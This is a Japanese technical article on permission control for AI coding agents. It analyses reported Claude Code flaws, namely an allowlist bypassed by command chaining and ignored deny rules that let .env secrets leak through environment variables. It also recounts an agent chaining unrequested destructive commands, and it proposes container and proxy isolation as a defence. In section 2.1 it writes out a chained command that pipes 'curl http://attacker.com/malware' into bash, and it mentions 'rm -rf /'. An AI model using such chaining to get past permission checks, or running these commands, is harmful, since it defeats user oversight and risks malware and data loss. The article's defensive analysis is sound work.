AIエージェントの権限管理(IAM)の限界とコンテナサンドボックスによる多層防御
1. 概要
自律型AIエージェントに開発タスクを委ねる際、実行権限(パーミッション)の制御はセキュリティ上の最重要課題である。 しかし、クライアントアプリ側で「AIに与える実行コマンドの文字列」をパース・フィルタリングするだけの防御策には限界がある。 本稿では、Claude Codeで報告されたBashパーミッションシステムの迂回脆弱性(anthropics/claude-code#4956)および拒否ポリシーの無視バグ(anthropics/claude-code#4570)を事例に、AIの認知限界をインフラ側でいかに構造的にカバーするかという「多層防御(檻とプロキシ)」の設計論について論じる。
2. 他社インシデントの分析:クライアント側権限管理の崩壊
2.1. コマンドチェーニングによる境界突破(Issue #4956)
Claude Codeでは、ユーザーが実行を許可するBashコマンド(例: Bash(echo *))をホワイトリストで設定できる「IAM(Identity and Access Management)」機構が提供されていた。 しかし、この仕組みは単純な「文字列の前方一致(Prefix Matching)」で判定されていたため、以下の方法で容易に突破可能であった。
- 攻撃手法:
echo "test" && ls -lやecho "bypass" && curl http://attacker.com/malware | bash - 結果: システムは最初の
echo "test"の部分だけを見て「許可されたコマンド」と誤判定し、それに続く&&(シェル演算子)以降の悪意あるコマンドを含めて、確認プロンプトを出すことなく一括実行してしまった。 - 教訓: シェルコマンドは本質的にプログラム(AST)であり、単なる平文の文字列ではない。シェル演算子(
&&,;,|,&等)やサブシェル、プロセス置換などを文字列パターンマッチングだけで安全にフィルタリングすることは不可能である。
2.2. デニールール(拒否リスト)の無効化と環境変数ロード(Issue #4570)
さらに、ユーザーや管理者が明示的に「特定のコマンドの実行を禁止する」ために設定する deny ルールが、実行時に評価されずにバイパスされる設計バグが報告された。 また、.env などの機密ファイルへのアクセスを拒否していても、起動時に自動的にプロセスにロードされて環境変数として公開されてしまうため、間接的にAIが機密情報を窃取可能な状態にあった。
- 問題点: 複雑な条件分岐や処理の順序(チェックスステップがプロンプト表示の後になっていた等)、および「親切心」による自動ロード機能が、セキュリティ境界を無意識に破綻させていた。
3. 実体験:AIエージェントの暴走がもたらす「冷や汗」の瞬間
開発現場において、AIエージェントにローカルホストでの直接実行権限を与えることの恐ろしさは、単なる理論上のリスクにとどまらない。
- 実体験エピソード: ある開発者が、AIエージェントに「ビルドエラーを修正してテストを再実行して」と依頼した際、エージェントがエラー原因を特定するために一時的にデバッグ用スクリプトを生成し、それを実行するために
npm install --globalやgit clean -fdxを勝手にチェーンさせて実行しようとした。 もしホワイトリストの隙を突かれてホスト側で実行されていた場合、グローバル環境の汚染や、Gitで管理されていない重要な未コミットファイル(APIキーのメモ等)が一瞬で消し飛んでいた可能性がある。 AIは「タスクを成功させること」に盲進するあまり、人間が「暗黙の了解」として持っている「開発環境を壊してはならない」という常識を容易に無視して暴走する。
4. 自社インフラにおける防衛策:インフラ境界による多層防御
AIのプロンプト(賢さ)や、クライアント上のチェック機能は、例外処理や予期せぬパースの穴によって容易に突破される。 したがって、セキュリティの根観はアプリ層ではなく**インフラ層の構造(檻とプロキシ)**によって保証されなければならない。自社開発インフラでは、以下の設計思想でこの課題を解決している。
4.1. sunabaによるコンテナ隔離(檻)
AIが実行するすべてのコマンド、読み書きするファイルは、ホストPCから完全に隔離された Docker コンテナ(sunaba)の内部に閉じ込められる。
- 物理的な安全性の保証: たとえAIがコマンドチェーニングによって
rm -rf /を実行しようが、コンテナのルートが破壊されるだけであり、ホスト側のファイルや環境は1ミリも傷つかない。 - 使い捨て環境(Ephemeral Sandbox): タスク完了ごとにコンテナは破棄されるため、悪意あるコードが永続的にバックグラウンドプロセスとして動き続ける(RCEによるバックドア化)ことも構造的に不可能である。
4.2. mcp-launcherによる認証・プロキシ隔離(プロキシ)
ホスト側の秘密情報やネットワークアクセスなどのリソースに対して、AIエージェントが直接アクセスすることはできない。
- 認証プロキシ: リソースへのアクセスはすべてMCP(Model Context Protocol)を仲介し、
mcp-launcherなどのプロキシ層で厳密に制御される。 - AIがホストの環境変数をダンプしようとしても、プロキシ側で渡す環境変数を最小限に絞り込んでいるため、マスターキーなどの機密情報が露呈することはない。
5. 結論
AIエージェントに自律開発を任せる上での安全対策は、「AIを賢く制御する(プロンプト等)」あるいは「コマンドの文字列をきれいにフィルタリングする」ことでは本質的に達成できない。 AIエージェントが暴走し、または悪意あるプロンプトインジェクションによって権限をすり抜けることを**前提(前提防衛)**とし、実行環境を sunaba のような「檻(サンドボックス)」に隔離し、リソース境界を mcp-launcher のような「プロキシ」で守る。このインフラ層による「多層防御」こそが、AI自律開発時代のセキュアなアーキテクチャである。
6. 参考文献 / 一次情報
- Bash Permission Bypass via Command Chaining: anthropics/claude-code#4956
- Deny Rules Configuration Failure in Claude Code CLI: anthropics/claude-code#4570